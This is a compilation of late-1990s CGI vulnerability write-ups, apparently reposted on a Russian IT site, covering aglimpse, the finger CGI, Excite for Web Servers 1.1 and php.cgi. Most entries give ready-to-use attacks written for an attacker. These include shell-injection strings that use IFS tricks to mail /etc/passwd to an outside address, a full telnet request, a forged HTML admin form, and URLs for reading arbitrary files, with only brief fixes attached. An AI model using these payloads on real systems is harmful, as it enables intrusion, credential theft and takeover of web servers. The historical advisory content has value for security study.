Name: /cgi-bin/aglimpse Risk: execute arbitrary commands as web server's UID (remote) Versions: GlimpseHTTP 2.0 and WebGlimpse versions prior to 1.5 Distro: http://glimpse.cs.arizona.edu/webglimpse/ Another HTTP vulnerability, this time in a small utility: Glimpse HTTP which is an interface to the Glimpse search tool. It is written in PERL. The hole is small one but it can allow you to execute any command on the remote system (as the owner of the http server). $path_info = $ENV{'PATH_INFO'}; $_ = $path_info; # /<length>/$indexdir/$path is the format of the PATH_INFO # might as well start the message now print "Content-type: text/htmlnn"; print "<HTML>n"; print "<HEAD>n"; if ( m|^/([0-9]*)(.*)$| ) { $length = $1; $path = $2; $path =~ s|"||g; } else { &err_badargs; } $indexdir = substr($path,0,$length); $relpath = substr($path,$length,length($path)); # print "<br>indexdir=$indexdir<br>relpath=$relpath<br>"; open(CONF,"$indexdir/archive.cfg") || &err_conf; As you may see, it splits PATH_INFO in two fields: $length and $path and then takes the first $length characters from $path and puts them in $indexdir. The last line opens "$indexdir/archive.cfg". Now for the evil part. By setting $indexdir to a string that begins with '|', the system will execute whatever it finds after the pipe, giving it as STDIN what you write to the CONF handle. The bad thing is that most HTTP servers won't let you use TABS or SPACES in the PATH_INFO (not the case of Netscape servers anyway, but CERN and Apache will do it). And I don't know how many "one word" commands can anyone find (and make them do evil). Here's where the famous IFS variable comes handy. If $indexdir is set to something like: "|IFS=5;CMD=5mail5your_address@your_computer.com</etc/passwd;eval$CMD;echo" it will execute the command in CMD using IFS as separator. The one above sends me your /etc/passwd. The last "echo" is used to ignore the rest of the string. An of course you can use any other separator instead of "5". telnet target.machine.com 80 GET /cgi-bin/aglimpse/80|IFS=5;CMD=5mail5hack@i.am</etc/passwd;eval$CMD;echo HTTP/1.0 Note that the cgi-bin directory could be located somewhere else (for example in /scripts or /cgi or a special directory just for glimpse...). Also note that you HAVE to use all those backslahes in the command (perl wants them there!).

Name: /cgi-bin/finger Risk: an entire network can have a security breech... Finger, the standard Unix command used to look up users on a system, has been deemed a security hole by some sites and in some cases shut off. Other variations of finger have been altered so that a user can control exactly what information about his/her login is shared on the local machine and over the wire. In other instances, tcpwrappers are used so that only trusted systems on a LAN can finger other machines. Having the CGI program "finger" installed can breech security in all these instances. Finger a site on the net, out of the blue. [user@mybox] finger @host.i.want.to.own.com ///////////////////////////////////////////////// * * WARNING: Your finger attempt from user@myhost * has been recorded in our logs. * Any more finger attempts from your host, and * we will consider those actions an attack on * our host. We will prosecute anyone we feel is * intruding onto our network. * ///////////////////////////////////////////////// [user@mybox] lynx http://host.i.want.to.own.com/cgi-bin/finger?@localhost [localhost.i.want.to.own.com] Login Name Tty Idle Login Time Office Office Phone lip Larry I. Peters qf - Feb 19 15:01 jack Jack Daniels pd 23:40 Feb 18 14:44 jdobman J. Doberman p1 3 Feb 19 12:32 Room 101 jdobman J. Doberman q1 2:48 Feb 9 15:57 Room 101 red R. Earl Davies *q5 1:26 Feb 19 08:43 With that one CGI program, an entire network's security has been violated. Imagine that host.i.want.to.own.com has a machine specifically for processing orders. Knowing a username on that machine makes it a lot easier for a potential hacker to get in. If software such as tcpwrappers are in use on the LAN, chances are it will be configured so that local users can see who is logged in where. [user@mybox] lynx http://host.i.want.to/cgi-bin/finger?@trustedhost [trustedhost] Login Name Tty Idle Login Time Office Office Phone lip Larry I. Peters q1 - Feb 19 15:01 jack Jack Daniels p0 1:40 Feb 18 14:44 Now, an entire network has had a security breech,not just one system. 1) get your list of e-mail addresses you found for the site (let's pretend one of them is "kangaroo@acme.net ", and that your email address is "your@email.org") 2) Go back to the finger box, and type this in (changing these email addresses for the real ones): kangaroo@acme.net ; /bin/mail your@email.org < etc/passwd

Name: bugs in Excite for Web Servers 1.1 Date: 30 Nov 1998 Versions: EWS 1.1 Distro: http://www.excite.com/navigate/ Risk: ordinary user being able to gain control over EWS Marc Merlin found following. While trying a query like this one on a server "this and this and that" (with the quotes) he noticed an error. Classic mistake, it launches a shell with whatever was given in the query (even though spaces are escaped with a '$'). Yet, the exploit remains simple: ";IFS="$";/bin/cat /etc/passwd|mail your_email_here; (or any other shell command you can thing of) The installation program installs several files with world-write permissions. This is bad because one of them (Architext.conf) contains the encrypted password which is used for all authentication. Because of this, any user with shell or non-anonymous FTP access to the web server could modify the encrypted password. All authentication after the initial access to AT-admin.cgi relies solely on the encrypted password. Since any user with shell or FTP access can read Architext.conf, it is trivial for local users to gain administrative privileges over EWS. Thus, a user only needs to have a web page that looks like: <html> <head><title>exploit</title> <body> <p><FORM ACTION="http://EWS.SERVER.COM/cgi-bin/AT-generate.cgi" METHOD=POST> <INPUT TYPE="hidden" NAME="db" VALUE="personal"> <INPUT TYPE="submit" NAME="Reload" VALUE="Reload"> Reload this page, in case the log file or status has changed. <INPUT TYPE="hidden" NAME="Dump" VALUE="dummy"> <INPUT TYPE="hidden" NAME="File" VALUE="/usr/local/etc/excite/collections/AT-personal.prog"> <INPUT TYPE="hidden" NAME="Type" VALUE="progress"> <INPUT TYPE="hidden" NAME="ENCRYPTEDPASS" VALUE="ENCRYPTEDPASS"> </FORM><BR> </body> </html> Of course you should replace EWS.SERVER.COM and ENCRYPTEDPASS with values that make sense for your situation. By accessing this page and clicking on the button you get to a menu that behaves exactly as if you knew the unencrypted password. Problem: Passwords are not encrypted properly. Note that the first two characters of the encrypted password are always the first two characters of the plain-text password. For example, if you choose the password "blah", the encrypted password is "blk1x.w.ISlDw". In light of the fact that the plain-text password is not needed for adminstrative control (above), this problem is not that significant. Since this same password may be used other places it should be protected better. If a dictionary attack for the password is done, only those words that start with "bl" need be examined. If a brute force attack is used, the number of guesses goes down significantly Solution: Encrypt passwords using random salts. Even using "aa" as the salt in every case would be more secure.

Name: php (CGI) 3 bugs Date: 19 Oct 1997 Versions: php.cgi 2.0beta10 or earlier ( or up to 19 October 1997) Distro: http://www.vex.net/php Risk: execute arbitrary commands as web server's UID (remote) First vulnerability allows unauthorized users to view arbitrary file contents on the machine running http by sending the file name wishing to be displayed as the QUERY_STRING. simply use any web browser to send the following URL: http://boogered.system.com/cgi-bin/php.cgi?/file/to/view The workaround solution is to set the following in php.h #define PATTERN_RESTRICT ".*\.phtml$" This will limit the php.cgi parser to only display files ending in .phtml Vulnerability in PHP Example Logging Scripts There was a gaping security hole in a few of the example scripts, specifically mlog.html and mylog.html, which allow any remote user to read any arbitrary file on the system.(which is readable to the user that httpd and thus PHP are running as) To top it all off, this exploit is really easy to accomplish. The problem lies in the line: <?include "$screen"> in both mlog.html and mylog.html. The idea is to include a file for each type of logging stats, however, there is no escaping of slashes, so one can specify any file on the system. http://host.comt/~user/cool-logs/mlog.html?screen=[full path to any file] Useful files to see are /etc/hosts.allow, /etc/passwd (for unshadowed systems..) and just about anything else (and if your httpd is still running as root you may be considered as lucky guy while you can't say the say for dummy admin of that machine). Fix: use the following block of code, right before <?include... line.

Назад в раздел

Emanual.ru – это сайт, посвящённый всем значимым событиям в IT-индустрии: новейшие разработки, уникальные методы и горячие новости! Тонны информации, полезной как для обычных пользователей, так и для самых продвинутых программистов! Интересные обсуждения на актуальные темы и огромная аудитория, которая может быть интересна широкому кругу рекламодателей. У нас вы узнаете всё о компьютерах, базах данных, операционных системах, сетях, инфраструктурах, связях и программированию на популярных языках!